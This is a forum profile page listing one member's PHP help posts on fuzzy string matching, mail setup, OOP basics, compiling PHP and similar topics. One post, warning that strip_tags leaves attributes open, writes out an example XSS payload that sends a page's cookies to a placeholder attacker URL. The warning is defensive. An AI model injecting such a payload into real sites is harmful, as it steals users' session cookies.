Jump to content

natbob

Members
  • Posts

    33
  • Joined

  • Last visited

    Never

Everything posted by natbob

  1. if you don't want anyone to read the logs you can block them in your apache config if they are malicious web bots which look at the robots.txt file and then go to all of the listed places, you can make a trap by adding an entry which will lead them to a page where thier user agent is recorded and blocked from the site completely Just a note it might be a good idea to add some of the popular user agents (FF, IE etc.) to an exclusion so that a curious visitor doesn't end up blocking all of the visitors using thier browser.
  2. $r = new HttpRequest($webpageToGet); $r->send(); $res = $r->getResponseBody(); will also work, it uses the HTTP class/extension
  3. I'm trying to use glade to build the ui for the app I'm making with php-gtk. I followed the hello glade tutorial and copied and pasted their example and ran it on a gtk distribution of php from the official gtk website. I get the error "Class gladeXML is not found". Does it need to be loaded as a module? I'm running windows xp so I just used the binaries rather then compiling it. Just a note, I can successfully run other gtk apps that were made through just php code. Thanks
  4. I think you just answered my question. Thanks.
  5. I'm trying to find out what a good price to charge for creating a website with custom blog and event tools along with about 10 pgs of static content. The blog and event tools are all written from scratch and customized to fit the customers needs. I have done a little reasearch but all of the things that I found were very out of date. ???
  6. This may not work for you but you could use a function like levenshtein (http://www.php.net/manual/en/function.levenshtein.php) it will tell you how close two words are together, this would be used on the fly by comparing the search to the database of items, like this: <?php $short = -1; //how close of a match it is while($row = mysql_fetch_assoc($result)) { $lev = levenshtein(strtolower($_GET['word']), strtolower($row['name']), 1, 1, 1); if ($lev == 0) { //if there is a perfect match $close = $word; $short = 0; $id = $row['id']; break; } if ($lev <= $short || $short < 0) { //if there has been no match or if the current word is a better match $close = $word; $ans = $row['name']; $id = $row['id']; $short = $lev; } } ?> That code would take a mysql query result and output the closest match to the input ($_GET['word']).
  7. Here http://www.php.net/manual/en/function.levenshtein.php is a link to a function which finds how close two words are in spelling. It may be of some help. Here is code implementing the function. It goes through a query result and finds the closest match to $_GET['word']. <?php while($row = mysql_fetch_assoc($result)) { $lev = levenshtein(strtolower($_GET['word']), strtolower($row['name']), 1, 1, 1); if ($lev == 0) { $close = $word; $short = 0; $id = $row['id']; break; } if ($lev <= $short || $short < 0) { $close = $word; $ans = $row['name']; $id = $row['id']; $short = $lev; } } ?>
  8. You may already know this but, to send mail from PHP your need to use an SMTP mail server. Then you need to configure it in your php.ini file. If you have already done these things, then if you are running all of this on your computer, check your SMTP server for errors. Since it is not showing the error message the message got to the server. I can't find anything wrong with your code so... I would look at your SMTP server.
  9. I started learning C a few days ago and have the basic syntax down. I have looked at pointers and how they work and think that I have a basic understanding of that. I have read some things stating how hard pointers were and am wondering where they would be used and why they would be so hard. Thanks
  10. When yo mark a thread as solved that has a < or > in its name, it will end up double escaped. Like this: 2 < 5 is automatically 2 < 5 after you originally start it, but after you "solve" it then the ampersand in < is escaped to 2 &lt; 5 witch outputs 2 < 5 instead of 2 < 5 so the problem is in the escaping of ampersands when you mark a post as solved.
  11. thanks, I looked at one of the OOP tutorials on this site.
  12. In the code for pirep_process.php add this right before closing the database connection: <?php $result = mysqlquery("SELECT * FROM total"); $oldnum = mysql_fetch_assoc($result); $newnum = $oldnum['total'] + $flthrs; mysql_query("UPDATE total SET total = '$newnum'"); ?> note: it uses a table named total witch has one column named total witch is an integer, it has one row, make sure that that row starts with a value of zero.
  13. I'm not quite sure what you mean, do the posted headers work or are they the ones you are using now? I do not know very much about java but the headers you posted would do what are in the comments header('Content-type: class/java'); //says that this page is a java class header('Content-disposition: attachment; filename="applet.class"'); //says that you want the browser to download the class to the disk header('Content-length: ' . filesize($path)); print($file); //the class is read and put on the screen? if you want to just have the browser parse it as a class then the following should be good <?php header('Content-type: class/java'); print($file); ?> or if you want the client to download it: <?php header('Content-disposition: attachment; filename="applet.class"'); ?> Once again I'm pulling from my limited Java knowledge so I may be wrong.
  14. I would use #1 just because it uses less code. I ran a speed test and #2 takes 1.5 times as long (with the === operator of course ) so from a performance perspective, 1 is faster.
  15. The code for the form is fine but on next.php you forgot to close your function calls and you need to quote the filename as so. <?php $file = fopen("test.txt", "a+"); fwrite($file, $_POST["name"]); fwrite($file, $_POST["age"]); fclose("test.txt"); ?> I hope this helps.
  16. I'm really new to object oriented PHP so if you could just clarify one thing, are the -> and :: operators the same thing? If their not, when do you use each?
  17. thanks, I'm pretty new to Linux and didn't really comprehend the awesome power of apt-get.
  18. a note if you use strip tags, if you allow even the <b> or <i> tags, somone can still put <b onmouseover="javascript:document.location='http://www.bad.com/cookiemonster?cookies='+document.cookies;">Hover Here!</b> I find that a good solution is to allow <b>, <i>, etc but to also escape the quotes to " so that a user can use <b> but not <b onmouseover="bad">
  19. When I try to compile php 5 on a new ubuntu machine (with the compiler of course) php give the error libxml2 not found (or somthing to that effect). Do I need to install a libxml package too? ??? Thanks for any help.
  20. I think you may be meaning somthing like this: <?php $myArray = array(); $myArray[] = 'array item 0'; $myArray[] = 'Array item 1'; echo $myArray[0]; //echos array item 0 ?> If you wanted preform a specific action to each item: <?php $myArray = array('me', 'myself', 'and', 'I'); foreach ($myArray as $arrayItem) { echo "$arrayItem <br>"; } //This would output me<br>myself<br>and<br>I<br> ?>
  21. yes I did mean polymorphism but I don't like php's metamorphic options either!
  22. I am also having trouble with when to use OOP. I've never really gotten a strait answer. Is most of it just name spaces, because I can't really see where inheritance and metaporphism fit into anything other than the base language and the most complex extensions like gtk.
  23. For myself running windows is somtimes a challenge because: 1. Although more programs are compatible with windows, however in my experiance, more shell and server applications work only on linux. -- A PHP Book I'm working on setting up debian on an old computer so that I can use that for my apache server and finally have a decent shell!
  24. I'm not sure of your database design or source if img/swf's but strstr('.swf', $myFileName) would work. Then you would add a new column in your database and display accordingly.
  25. The way I would do it would to use a batch file like the following to open a browser and pass the URL paramater, this would have no security though as you could just edit the GET variable. start C:\PROGRA~1\MOZILL~1\FIREFOX.EXE -url "http://www.me.com/myscript.php?user=%USERNAME%" Then the php script would get the user name and do somthing with it. PS: Remember if I was a malicious user I could just go to http://www.me.com/myscript.php?user=admin and log in as admin. You could also verify by computer name with %USERDOMAIN%.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.